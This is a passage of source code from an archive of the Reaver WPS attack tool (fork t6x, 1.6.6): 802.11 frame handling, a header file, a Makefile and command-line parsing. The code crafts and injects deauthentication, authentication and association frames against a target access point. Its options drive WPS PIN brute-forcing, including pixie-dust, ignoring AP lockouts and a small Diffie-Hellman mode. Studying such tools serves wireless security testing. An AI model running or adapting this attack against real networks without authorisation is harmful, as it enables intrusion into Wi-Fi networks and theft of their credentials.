header.len); /* If no channel was manually specified, switch to the AP's current channel */ if(!get_fixed_channel() && get_auto_channel_select() && channel > 0 && channel != get_channel()) { change_channel(channel); set_channel(channel); } break; } } int freq_to_chan (uint16_t freq) { if (freq >= 2412 && freq <= 2472) { return (freq - 2407) / 5; } else if (freq == 2484) { return 14; } else if (freq >= 4900 && freq < 5000) { return (freq - 4000) / 5; } else if (freq >= 5000 && freq < 5900) { return (freq - 5000) / 5; } else if (freq >= 56160 + 2160 * 1 && freq <= 56160 + 2160 * 4) { return (freq - 56160) / 2160; } return 0; } #include "radiotap_flags.h" /* readbuf must be of sufficient len to read the full flag, maximal 4 chars. */ static int get_radiotap_flag(const unsigned char *packet, size_t len, unsigned flagnumber, unsigned char* readbuf) { if(has_rt_header() && (len > (sizeof(struct radio_tap_header)))) { uint32_t offset, presentflags; if(!rt_get_presentflags(packet, len, &presentflags, &offset)) return 0; if(!(presentflags & (1U << flagnumber))) return 0; offset = rt_get_flag_offset(presentflags, flagnumber, offset); if (offset + ieee80211_radiotap_type_size[flagnumber] < len) { memcpy(readbuf, packet+offset, ieee80211_radiotap_type_size[flagnumber]); return 1; } } return 0; } /* Extracts the channel frequency from the packet's radio tap header */ uint16_t rt_channel_freq(const unsigned char *packet, size_t len) { unsigned char readbuf[4]; /* the lower 2 byte of the channel flag seems to contain channel type, i.e. ABG. but we need to read all 4. */ uint16_t result; if(get_radiotap_flag(packet, len, IEEE80211_RADIOTAP_CHANNEL, readbuf)) { memcpy(&result, readbuf, 2); return end_le32toh(result); } return 0; } /* Extracts the signal strength field (if any) from the packet's radio tap header */ int8_t signal_strength(const unsigned char *packet, size_t len) { unsigned char readbuf[1]; if(get_radiotap_flag(packet, len, IEEE80211_RADIOTAP_DBM_ANTSIGNAL, readbuf)) return (int8_t) readbuf[0]; return 0; } /* * Determines if the target AP has locked its WPS state or not. * Returns 0 if not locked, 1 if locked, -1 if wps has been turned off * pass data of a valid beacon packet */ int is_wps_locked(const struct pcap_pkthdr *header, const unsigned char *packet) { struct libwps_data wps = { 0 }; if(parse_wps_parameters(packet, header->len, &wps)) { if(wps.locked == WPSLOCKED) return 1; return 0; } return -1; } /* Waits for authentication and association responses from the target AP */ static int process_authenticate_associate_resp(int want_assoc) { struct pcap_pkthdr header; unsigned char *packet; struct radio_tap_header *rt_header; struct dot11_frame_header *dot11_frame; struct authentication_management_frame *auth_frame; struct association_response_management_frame *assoc_frame; int ret_val = 0; start_timer(); while(!get_out_of_time()) { if((packet = next_packet(&header)) == NULL) break; if(header.len < MIN_AUTH_SIZE) continue; rt_header = (void*) radio_header(packet, header.len); size_t rt_header_len = end_le16toh(rt_header->len); dot11_frame = (void*)(packet + rt_header_len); if((memcmp(dot11_frame->addr3, get_bssid(), MAC_ADDR_LEN) != 0) || (memcmp(dot11_frame->addr1, get_mac(), MAC_ADDR_LEN) != 0)) continue; int isMgmtFrame = (dot11_frame->fc & end_htole16(IEEE80211_FCTL_FTYPE)) == end_htole16(IEEE80211_FTYPE_MGMT); if(!isMgmtFrame) continue; void *ptr = (packet + sizeof(struct dot11_frame_header) + rt_header_len); auth_frame = ptr; assoc_frame = ptr; int isAuthResp = (dot11_frame->fc & end_htole16(IEEE80211_FCTL_STYPE)) == end_htole16(IEEE80211_STYPE_AUTH); int isAssocResp = (dot11_frame->fc & end_htole16(IEEE80211_FCTL_STYPE)) == end_htole16(IEEE80211_STYPE_ASSOC_RESP); if(!isAuthResp && !isAssocResp) continue; if(isAuthResp && want_assoc) continue; /* Did we get an authentication packet with a successful status? */ if(isAuthResp && (auth_frame->status == end_htole16(AUTHENTICATION_SUCCESS))) { ret_val = AUTH_OK; break; } /* Did we get an association packet with a successful status? */ else if(isAssocResp && (assoc_frame->status == end_htole16(ASSOCIATION_SUCCESS))) { ret_val = ASSOCIATE_OK; break; } } return ret_val; } /* Deauths and re-associates a MAC address with the AP. Returns 0 on failure, 1 for success. */ int reassociate(void) { if (get_external_association()) return 1; int state = 0, ret; while(1) { switch(state) { case 0: deauthenticate(); state++; break; case 1: authenticate(); state++; break; case 2: ret = process_authenticate_associate_resp(0); if(ret) state++; else return 0; break; case 3: associate(); state++; break; case 4: ret = process_authenticate_associate_resp(0); if(ret) state++; else return 0; break; case 5: return 1; } } } /* Deauthenticate ourselves from the AP */ static void deauthenticate(void) { size_t radio_tap_len, dot11_frame_len, packet_len, offset = 0; struct radio_tap_header radio_tap; struct dot11_frame_header dot11_frame; radio_tap_len = build_radio_tap_header(&radio_tap); dot11_frame_len = build_dot11_frame_header(&dot11_frame, FC_DEAUTHENTICATE); packet_len = radio_tap_len + dot11_frame_len + DEAUTH_REASON_CODE_SIZE; unsigned char packet[sizeof radio_tap + sizeof dot11_frame + DEAUTH_REASON_CODE_SIZE]; assert(sizeof packet == packet_len); memcpy(packet, &radio_tap, radio_tap_len); offset += radio_tap_len; memcpy(packet + offset, &dot11_frame, dot11_frame_len); offset += dot11_frame_len; memcpy(packet + offset, DEAUTH_REASON_CODE, DEAUTH_REASON_CODE_SIZE); send_packet(packet, packet_len, 1); } /* Authenticate ourselves with the AP */ static void authenticate(void) { size_t radio_tap_len, dot11_frame_len, management_frame_len, packet_len, offset; struct radio_tap_header radio_tap; struct dot11_frame_header dot11_frame; struct authentication_management_frame management_frame; radio_tap_len = build_radio_tap_header(&radio_tap); dot11_frame_len = build_dot11_frame_header(&dot11_frame, FC_AUTHENTICATE); management_frame_len = build_authentication_management_frame(&management_frame); packet_len = radio_tap_len + dot11_frame_len + management_frame_len; unsigned char packet[ sizeof (struct radio_tap_header) + sizeof (struct dot11_frame_header) + sizeof (struct authentication_management_frame)]; assert(packet_len == sizeof packet); offset = 0; memcpy(packet + offset, &radio_tap, radio_tap_len); offset += radio_tap_len; memcpy(packet + offset, &dot11_frame, dot11_frame_len); offset += dot11_frame_len; memcpy(packet + offset, &management_frame, management_frame_len); send_packet(packet, packet_len, 1); cprintf(VERBOSE, "[+] Sending authentication request\n"); } /* Associate with the AP */ static void associate(void) { size_t radio_tap_len, dot11_frame_len, management_frame_len, ssid_tag_len, wps_tag_len, rates_tag_len, ht_tag_len, packet_len, offset = 0; struct radio_tap_header radio_tap; struct dot11_frame_header dot11_frame; struct association_request_management_frame management_frame; char *essid = get_ssid(); if(!essid) essid = ""; unsigned char ssid_tag[sizeof (struct tagged_parameter) + IW_ESSID_MAX_SIZE]; unsigned char rates_tag[128]; unsigned char wps_tag[sizeof (struct tagged_parameter) + WPS_TAG_SIZE]; unsigned char ht_tag[128]; radio_tap_len = build_radio_tap_header(&radio_tap); dot11_frame_len = build_dot11_frame_header(&dot11_frame, FC_ASSOCIATE); management_frame_len = build_association_management_frame(&management_frame); ssid_tag_len = build_ssid_tagged_parameter(ssid_tag, essid); rates_tag_len = build_supported_rates_tagged_parameter(rates_tag, sizeof rates_tag); wps_tag_len = build_wps_tagged_parameter(wps_tag); if(!NO_REPLAY_HTCAPS) { ht_tag_len = build_htcaps_parameter(ht_tag, sizeof ht_tag); } else { ht_tag_len = 0; } packet_len = radio_tap_len + dot11_frame_len + management_frame_len + ssid_tag_len + wps_tag_len + rates_tag_len + ht_tag_len; unsigned char packet[512]; assert(packet_len < sizeof packet); memcpy(packet, &radio_tap, radio_tap_len); offset += radio_tap_len; memcpy(packet+offset, &dot11_frame, dot11_frame_len); offset += dot11_frame_len; memcpy(packet+offset, &management_frame, management_frame_len); offset += management_frame_len; memcpy(packet+offset, ssid_tag, ssid_tag_len); offset += ssid_tag_len; memcpy(packet+offset, rates_tag, rates_tag_len); offset += rates_tag_len; memcpy(packet+offset, ht_tag, ht_tag_len); offset += ht_tag_len; memcpy(packet+offset, wps_tag, wps_tag_len); send_packet(packet, packet_len, 1); cprintf(VERBOSE, "[+] Sending association request\n"); } /* Given a beacon / probe response packet, returns the reported encryption type (WPA, WEP, NONE) THIS IS BROKE!!! DO NOT USE!!! */ enum encryption_type supported_encryption(const unsigned char *packet, size_t len) { enum encryption_type enc = NONE; const unsigned char *tag_data = NULL; struct radio_tap_header *rt_header = NULL; size_t vlen = 0, voff = 0, tag_offset = 0, tag_len = 0, offset = 0; struct beacon_management_frame *beacon = NULL; if(len > MIN_BEACON_SIZE) { rt_header = (struct radio_tap_header *) radio_header(packet, len); size_t rt_header_len = end_le16toh(rt_header->len); beacon = (struct beacon_management_frame *) (packet + rt_header_len + sizeof(struct dot11_frame_header)); offset = tag_offset = rt_header_len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame); tag_len = len - tag_offset; tag_data = (const unsigned char *) (packet + tag_offset); if((end_le16toh(beacon->capability) & CAPABILITY_WEP) == CAPABILITY_WEP) { enc = WEP; tag_data = parse_ie_data(tag_data, tag_len, (uint8_t) RSN_TAG_NUMBER, &vlen, &voff); if(tag_data && vlen > 0) { enc = WPA; free((void *) tag_data); } else { while(offset < len) { tag_len = len - offset; tag_data = (const unsigned char *) (packet + offset); tag_data = parse_ie_data(tag_data, tag_len, (uint8_t) VENDOR_SPECIFIC_TAG, &vlen, &voff); if(vlen > WPA_IE_ID_LEN) { if(memcmp(tag_data, WPA_IE_ID, WPA_IE_ID_LEN) == 0) { enc = WPA; break; } free((void *) tag_data); } offset = tag_offset + voff + vlen; } } } } return enc; } static int get_next_ie(const unsigned char *data, size_t len, size_t *currpos) { if(*currpos + 2 >= len) return 0; *currpos = *currpos + 2 + data[*currpos + 1]; if(*currpos >= len) return 0; return 1; } /* Given the tagged parameter sets from a beacon packet, locate the AP's SSID and return its current channel number */ int parse_beacon_tags(const unsigned char *packet, size_t len) { set_vendor(0, "\0\0\0"); char *ssid = NULL; const unsigned char *tag_data = NULL; unsigned char *ie = NULL, *channel_data = NULL; size_t ie_len = 0, ie_offset = 0, tag_len = 0, tag_offset = 0; int channel = 0; struct radio_tap_header *rt_header = NULL; rt_header = (struct radio_tap_header *) radio_header(packet, len); tag_offset = end_le16toh(rt_header->len) + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame); if(tag_offset < len) { tag_len = (len - tag_offset); /* this actually denotes length of the entire tag data area */ tag_data = (const unsigned char *) (packet + tag_offset); /* If no SSID was manually specified, parse and save the AP SSID */ if(get_ssid() == NULL) { ie = parse_ie_data(tag_data, tag_len, (uint8_t) SSID_TAG_NUMBER, &ie_len, &ie_offset); if(ie) { /* Return data is not null terminated; allocate ie_len+1 and memcpy string */ ssid = malloc(ie_len+1); if(ssid) { memset(ssid, 0, (ie_len+1)); memcpy(ssid, ie, ie_len); set_ssid(ssid); free(ssid); } free(ie); } } ie = parse_ie_data(tag_data, tag_len, HT_CAPS_TAG_NUMBER, &ie_len, &ie_offset); if(ie) { set_ap_htcaps(ie, ie_len); free(ie); } ie = parse_ie_data(tag_data, tag_len, (uint8_t) RATES_TAG_NUMBER, &ie_len, &ie_offset); if(ie) { set_ap_rates(ie, ie_len); free(ie); } ie = parse_ie_data(tag_data, tag_len, (uint8_t) ERATES_TAG_NUMBER, &ie_len, &ie_offset); if(ie) { set_ap_ext_rates(ie, ie_len); free(ie); } channel_data = parse_ie_data(tag_data, tag_len, (uint8_t) CHANNEL_TAG_NUMBER, &ie_len, &ie_offset); if(channel_data) { if(ie_len == 1) { channel = *(uint8_t*)channel_data; } free(channel_data); } size_t ie_iterator = 0; do { const unsigned char *tag = tag_data + ie_iterator; // check for the length of the tag, and that its not microsoft if(tag[0] == VENDOR_SPECIFIC_TAG && ie_iterator+2+3 < tag_len && ((tag[1] < 11 && memcmp(tag+2, "\x00\x14\x6c", 3) && memcmp(tag+2, "\x00\x50\xf2", 3)) || (tag[1] == 30 && !(memcmp(tag+2, "\x00\x26\x86", 3))))) { set_vendor(1, tag + 2); break; } } while(get_next_ie(tag_data, tag_len, &ie_iterator)); } return channel; } /* Gets the data for a given IE inside a tagged parameter list */ unsigned char *parse_ie_data(const unsigned char *data, size_t len, uint8_t tag_number, size_t *ie_len, size_t *ie_offset) { unsigned char *tag_data = NULL; int offset = 0, tag_size = 0; struct tagged_parameter *tag = NULL; tag_size = sizeof(struct tagged_parameter); *ie_len = 0; *ie_offset = 0; while((offset + tag_size) < len) { tag = (struct tagged_parameter *) (data + offset); /* Check for the tag number and a sane tag length value */ if((tag->number == tag_number) && (tag->len <= (len - offset - tag_size)) ) { tag_data = malloc(tag->len); if(tag_data) { memset(tag_data, 0, (tag->len)); memcpy(tag_data, (data + offset + tag_size), tag->len); *ie_len = tag->len; *ie_offset = offset; } break; } offset += (tag_size + tag->len); } return tag_data; } /* Validates a packet's reported FCS value */ static int check_fcs(const unsigned char *packet, size_t len) { if(!has_rt_header()) return 1; uint32_t offset = 0, match = 0; uint32_t fcs = 0, fcs_calc = 0; struct radio_tap_header *rt_header = NULL; if(len > 4) { /* FCS is not calculated over the radio tap header */ if(len >= sizeof(*rt_header)) { uint32_t presentflags, flags; /* only check FCS if the flag IEEE80211_RADIOTAP_F_FCS is set in in IEEE80211_RADIOTAP_FLAGS. the packets we generate ourselves do not have any of these flags set and would cause false positives */ if(!rt_get_presentflags(packet, len, &presentflags, &offset)) return 1; if(!(presentflags & (1U << IEEE80211_RADIOTAP_FLAGS))) return 1; offset = rt_get_flag_offset(presentflags, IEEE80211_RADIOTAP_FLAGS, offset); if(offset < len) { memcpy(&flags, packet + offset, 4); flags = end_le32toh(flags); if(flags & IEEE80211_RADIOTAP_F_BADFCS) return 0; if(!(flags & IEEE80211_RADIOTAP_F_FCS)) return 1; } rt_header = (struct radio_tap_header *) packet; offset = end_le16toh(rt_header->len); } /* Get the packet's reported FCS (last 4 bytes of the packet) */ fcs = end_le32toh(*(uint32_t*)(packet + (len-4))); if(len > offset) { /* FCS is the inverse of the CRC32 checksum of the data packet minus the frame's FCS and radio tap header (if any) */ fcs_calc = ~crc32((char *) packet+offset, (len-offset-4)); if(fcs_calc == fcs) { match = 1; } } } return match; } /* Checks a given BSSID to see if it's on our target list */ int is_target(const struct dot11_frame_header *frame_header) { return !memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN); } /* Make best guess to determine if a radio tap header is present */ int has_rt_header(void) { int yn = 0; if(pcap_datalink(get_handle()) == DLT_IEEE802_11_RADIO) { yn = 1; } return yn; } /* * Returns a pointer to the radio tap header. If there is no radio tap header, * it returns a pointer to a dummy radio tap header. */ #define FAKE_RADIO_TAP_HEADER "\0\0\0\0" "\0\0\0\0" "\0\0\0\0" "\0\0\0\0" "\0\0\0\0" unsigned char *radio_header(const unsigned char *packet, size_t len) { if(len >= 8 && has_rt_header()) { return (void*)packet; } else { return FAKE_RADIO_TAP_HEADER; } } reaver-wps-fork-t6x-1.6.6/src/80211.h000066400000000000000000000072451363372615500167330ustar00rootroot00000000000000/* * Reaver - 802.11 functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef DOT11_H #define DOT11_H #include #include #include "defs.h" #define AUTH_OK 1 #define ASSOCIATE_OK 2 #define ASSOCIATE_WAIT_TIME 1 /* Seconds */ #define BEACON_WAIT_TIME 2 /* Seconds */ #define ASSOCIATION_SUCCESS 0x0000 #define AUTHENTICATION_SUCCESS 0x0000 #define DEAUTH_REASON_CODE "\x03\x00" #define DEAUTH_REASON_CODE_SIZE 2 #define FC_AUTHENTICATE 0x00B0 #define FC_ASSOCIATE 0x0000 #define FC_DEAUTHENTICATE 0x00C0 #define FC_FLAGS_MASK 0xFF #define FC_VERSION_MASK 0x03 #define FC_TYPE_MASK 0x0C #define FC_TO_DS 0x01 #define FC_FROM_DS 0x02 #define FC_MORE_FRAG 0x04 #define FC_RETRY 0x08 #define FC_PWR_MGT 0x10 #define FC_MORE_DATA 0x20 #define FC_WEP 0x40 #define FC_ORDER 0x80 #define RADIO_TAP_VERSION 0x00 #define MIN_AUTH_SIZE (sizeof(struct radio_tap_header) + sizeof(struct dot11_frame_header) + sizeof(struct authentication_management_frame)) #define SUBTYPE_AUTHENTICATION 0x0B #define SUBTYPE_ASSOCIATION 0x01 unsigned char *next_packet(struct pcap_pkthdr *header); void read_ap_beacon(); int freq_to_chan (uint16_t freq); uint16_t rt_channel_freq(const unsigned char *packet, size_t len); int8_t signal_strength(const unsigned char *packet, size_t len); int is_wps_locked(const struct pcap_pkthdr *header, const unsigned char *packet); int reassociate(void); enum encryption_type supported_encryption(const unsigned char *packet, size_t len); int parse_beacon_tags(const unsigned char *data, size_t len); unsigned char *parse_ie_data(const unsigned char *data, size_t len, uint8_t tag_number, size_t *ie_len, size_t *ie_offset); int is_target(const struct dot11_frame_header *frame_header); int has_rt_header(void); unsigned char *radio_header(const unsigned char *packet, size_t len); unsigned char* next_beacon( struct pcap_pkthdr *header, const struct dot11_frame_header **fh, const struct beacon_management_frame **mf ); #endif reaver-wps-fork-t6x-1.6.6/src/Makefile000066400000000000000000000074001363372615500175400ustar00rootroot00000000000000srcdir = . INSTALL = ./install.sh MKDIRP = mkdir -p -include config.mak LIBWPS_DIR=libwps INC=-Ilibwps -I. -Ilwe DISABLED_WARNINGS= \ -Wno-unused-variable \ -Wno-unused-function \ -Wno-pointer-sign CFLAGS=-DCONF_DIR='"$(CONFDIR)"' $(CFLAGS_USER) $(DISABLED_WARNINGS) CFLAGS += $(INC) CFLAGS += -DCONFIG_IPV6 UTILS_OBJS= \ utils/base64.o \ utils/common.o \ utils/ip_addr.o \ utils/radiotap.o \ utils/trace.o \ utils/uuid.o \ utils/wpa_debug.o \ utils/wpabuf.o \ utils/os_unix.o \ utils/vendor.o \ utils/eloop.o WPS_OBJS=wps/wps_attr_build.o wps/wps_attr_parse.o wps/wps_attr_process.o \ wps/wps.o wps/wps_common.o wps/wps_dev_attr.o wps/wps_enrollee.o \ wps/wps_registrar.o wps/wps_ufd.o LWE_OBJS=lwe/iwlib.o TLS_OBJS= \ tls/asn1.o \ tls/bignum.o \ tls/pkcs1.o \ tls/pkcs5.o \ tls/pkcs8.o \ tls/rsa.o \ tls/tlsv1_client.o \ tls/tlsv1_client_read.o \ tls/tlsv1_client_write.o \ tls/tlsv1_common.o \ tls/tlsv1_cred.o \ tls/tlsv1_record.o \ tls/tlsv1_server.o \ tls/tlsv1_server_read.o \ tls/tlsv1_server_write.o \ tls/x509v3.o CRYPTO_OBJS= \ crypto/aes-cbc.o \ crypto/aes-ctr.o \ crypto/aes-eax.o \ crypto/aes-encblock.o \ crypto/aes-internal.o \ crypto/aes-internal-dec.o \ crypto/aes-internal-enc.o \ crypto/aes-omac1.o \ crypto/aes-unwrap.o \ crypto/aes-wrap.o \ crypto/des-internal.o \ crypto/dh_group5.o \ crypto/dh_groups.o \ crypto/md4-internal.o \ crypto/md5.o \ crypto/md5-internal.o \ crypto/milenage.o \ crypto/ms_funcs.o \ crypto/rc4.o \ crypto/sha1.o \ crypto/sha1-internal.o \ crypto/sha1-pbkdf2.o \ crypto/sha1-tlsprf.o \ crypto/sha1-tprf.o \ crypto/sha256.o \ crypto/sha256-internal.o \ crypto/crypto_internal.o \ crypto/crypto_internal-cipher.o \ crypto/crypto_internal-modexp.o \ crypto/crypto_internal-rsa.o \ crypto/tls_internal.o \ crypto/fips_prf_internal.o LIB_OBJS=libwps/libwps.o $(WPS_OBJS) $(UTILS_OBJS) \ $(TLS_OBJS) $(CRYPTO_OBJS) $(LWE_OBJS) MAIN_OBJS=globule.o init.o sigint.o iface.o sigalrm.o \ misc.o session.o send.o pins.o 80211.o builder.o \ keys.o crc.o pixie.o version.o pcapfile.o PROG_OBJS=$(MAIN_OBJS) exchange.o argsparser.o wpscrack.o wpsmon.o cracker.o main.o # Version of the Wireless Tools WT_VERSION := $(shell sed -ne "/WT_VERSION/{s:\([^0-9]*\)::;p;q;}" < lwe/iwlib.h ) # Version of Wireless Extensions. WE_VERSION := $(shell sed -ne "/WE_VERSION/{s:\([^0-9]*\)::;p;q;}" < lwe/iwlib.h ) # Always use local header for wireless extensions WEXT_HEADER = lwe/wireless.$(WE_VERSION).h GENH = lwe/wireless.h version.h all: wash reaver $(WPS_OBJS): CFLAGS+=-I. -Iutils $(TLS_OBJS): CFLAGS += -I. -Iutils -DCONFIG_INTERNAL_LIBTOMMATH -DCONFIG_CRYPTO_INTERNAL $(CRYPTO_OBJS): CFLAGS += -I. -Iutils -DCONFIG_TLS_INTERNAL_CLIENT \ -DCONFIG_TLS_INTERNAL_SERVER -fno-strict-aliasing wash: reaver ln -sf ./reaver wash reaver: $(PROG_OBJS) $(LIB_OBJS) $(CC) $(CFLAGS) $(INC) $(PROG_OBJS) $(LIB_OBJS) $(LDFLAGS) -lpthread -o reaver extest.o: exchange.c $(CC) $(CFLAGS) -g3 -O0 -DEX_TEST -c exchange.c -o extest.o extest: extest.o $(LIB_OBJS) $(MAIN_OBJS) $(CC) $(LIB_OBJS) extest.o $(MAIN_OBJS) $(LDFLAGS) -o extest version.o: version.h version.h: $(wildcard $(srcdir)/VERSION $(srcdir)/../.git) printf '#define R_VERSION "%s"\n' "$$(cd $(srcdir); sh version.sh)" > $@ lwe/wireless.h: $(WEXT_HEADER) cp $(WEXT_HEADER) lwe/wireless.h $(PROG_OBJS) $(LWE_OBJS): lwe/wireless.h install: wash reaver $(INSTALL) -D -m 755 wash $(DESTDIR)$(exec_prefix)/bin/wash $(INSTALL) -D -m 755 reaver $(DESTDIR)$(exec_prefix)/bin/reaver @# create directory used to store *.wpc files; @# if not found defaults to "." i.e. current dir $(MKDIRP) $(DESTDIR)$(CONFDIR) clean: rm -f reaver wash rm -f $(LIB_OBJS) $(PROG_OBJS) rm -f $(GENH) .PHONY: all clean install reaver-wps-fork-t6x-1.6.6/src/VERSION000066400000000000000000000000061363372615500171430ustar00rootroot000000000000001.6.6 reaver-wps-fork-t6x-1.6.6/src/argsparser.c000066400000000000000000000225241363372615500204210ustar00rootroot00000000000000/* * Reaver - Command line processing functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include "globule.h" #include "defs.h" #include "iface.h" #include "argsparser.h" #include "pixie.h" #include "misc.h" /* Processes Reaver command line options */ int process_arguments(int argc, char **argv) { int ret_val = EXIT_SUCCESS; int c = 0, channel = 0; int long_opt_index = 0; char bssid[MAC_ADDR_LEN] = { 0 }; char mac[MAC_ADDR_LEN] = { 0 }; char *short_options = "b:e:m:i:t:d:c:T:x:r:g:l:p:s:C:O:KZA5ELfnqvDShwN6JFu"; struct option long_options[] = { { "pixie-dust", no_argument, NULL, 'K' }, { "interface", required_argument, NULL, 'i' }, { "bssid", required_argument, NULL, 'b' }, { "essid", required_argument, NULL, 'e' }, { "mac", required_argument, NULL, 'm' }, { "timeout", required_argument, NULL, 't' }, { "m57-timeout", required_argument, NULL, 'T' }, { "delay", required_argument, NULL, 'd' }, { "lock-delay", required_argument, NULL, 'l' }, { "fail-wait", required_argument, NULL, 'x' }, { "channel", required_argument, NULL, 'c' }, { "session", required_argument, NULL, 's' }, { "recurring-delay", required_argument, NULL, 'r' }, { "max-attempts", required_argument, NULL, 'g' }, { "pin", required_argument, NULL, 'p' }, { "exec", required_argument, NULL, 'C' }, { "no-associate", no_argument, NULL, 'A' }, { "ignore-locks", no_argument, NULL, 'L' }, { "no-nacks", no_argument, NULL, 'N' }, { "eap-terminate", no_argument, NULL, 'E' }, { "dh-small", no_argument, NULL, 'S' }, { "fixed", no_argument, NULL, 'f' }, { "5ghz", no_argument, NULL, '5' }, { "repeat-m6", no_argument, NULL, '6' }, { "nack", no_argument, NULL, 'n' }, { "quiet", no_argument, NULL, 'q' }, { "verbose", no_argument, NULL, 'v' }, { "win7", no_argument, NULL, 'w' }, { "help", no_argument, NULL, 'h' }, { "timeout-is-nack", no_argument, NULL, 'J' }, { "ignore-fcs", no_argument, NULL, 'F' }, { "output-file", required_argument, NULL, 'O'}, { 0, 0, 0, 0 } }; set_output_fd(-1); /* Since this function may be called multiple times, be sure to set opt index to 0 each time */ optind = 0; while((c = getopt_long(argc, argv, short_options, long_options, &long_opt_index)) != -1) { switch(c) { case 'O': { int ofd = open(optarg, O_WRONLY|O_CREAT|O_TRUNC, 0660); set_output_fd(ofd); if(ofd == -1) perror("open outputfile failed: "); } break; case 'Z': case 'K': pixie.do_pixie = 1; set_max_pin_attempts(1); break; case 'u': pixie.use_uptime = 1; break; case 'i': set_iface(optarg); break; case 'b': str2mac(optarg, (unsigned char *) &bssid); set_bssid((unsigned char *) &bssid); break; case 'e': set_ssid(optarg); break; case 'm': str2mac(optarg, (unsigned char *) &mac); set_mac((unsigned char *) &mac); break; case 't': set_rx_timeout(atoi(optarg)); break; case 'T': set_m57_timeout(strtof(optarg, NULL) * SEC_TO_US); break; case 'c': channel = strtod(optarg, NULL); set_fixed_channel(1); break; case '5': set_wifi_band(AN_BAND); break; case '6': set_repeat_m6(1); break; case 'd': set_delay(atoi(optarg)); break; case 'l': set_lock_delay(atoi(optarg)); break; case 'p': parse_static_pin(optarg); set_max_pin_attempts(1); break; case 's': set_session(optarg); break; case 'C': set_exec_string(optarg); break; case 'A': set_external_association(1); break; case 'L': set_ignore_locks(1); break; case 'x': set_fail_delay(atoi(optarg)); break; case 'r': parse_recurring_delay(optarg); break; case 'g': set_max_pin_attempts(atoi(optarg)); break; case 'E': set_eap_terminate(1); break; case 'S': set_dh_small(1); break; case 'n': cprintf(INFO, "[+] ignoring obsolete -n switch\n"); break; case 'J': set_timeout_is_nack(1); break; case 'f': set_fixed_channel(1); break; case 'v': set_debug(get_debug() + 1); break; case 'q': set_debug(CRITICAL); break; case 'w': set_win7_compat(1); break; case 'N': set_oo_send_nack(0); break; case 'F': set_validate_fcs(0); break; default: ret_val = EXIT_FAILURE; } } if(channel) { change_channel(channel); } return ret_val; } /* Initialize some basic config settings */ void init_default_settings(void) { set_log_file(stdout); set_max_pin_attempts(P1_SIZE + P2_SIZE); set_delay(DEFAULT_DELAY); set_lock_delay(DEFAULT_LOCK_DELAY); set_debug(INFO); set_auto_channel_select(1); set_timeout_is_nack(0); set_oo_send_nack(1); set_wifi_band(BG_BAND); set_validate_fcs(1); pixie.do_pixie = 0; set_pin_string_mode(0); } /* Parses the recurring delay optarg */ void parse_recurring_delay(char *arg) { char *x = NULL, *y = NULL; x = strdup(arg); y = strchr(x, ':'); if(y) { memset(y, 0, 1); y++; set_recurring_delay_count(atoi(x)); set_recurring_delay(atoi(y)); } free(x); } int is_valid_pin(char *pin) { if(!pin) return 0; int i; for (i = 0; i < strlen(pin); i++) { if(!isdigit(pin[i])) return 0; } if(strlen(pin) == 8) { char pin7[8] = { 0 }; char pin8[9] = { 0 }; memcpy((void *) &pin7, pin, sizeof(pin7)-1); snprintf(pin8, 9, "%s%d", pin7, wps_pin_checksum(atoi(pin7))); if (strcmp(pin, pin8) != 0) return 0; } return 1; } /* Parse the WPS pin to use into p1 and p2 */ void parse_static_pin(char *pin) { int len = 0; char p1[5] = { 0 }; char p2[4] = { 0 }; len = strlen(pin); if((len == 4 || len == 7 || len == 8) && is_valid_pin(pin) != 0) { memcpy((void *) &p1, pin, sizeof(p1)-1); set_static_p1((char *) &p1); if(len > 4) { memcpy((void *) &p2, pin+sizeof(p1)-1, sizeof(p2)-1); set_static_p2((char *) &p2); } } else { set_pin_string_mode(1); set_static_p1(pin); } } reaver-wps-fork-t6x-1.6.6/src/argsparser.h000066400000000000000000000034531363372615500204260ustar00rootroot00000000000000/* * Reaver - Argument processing functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If 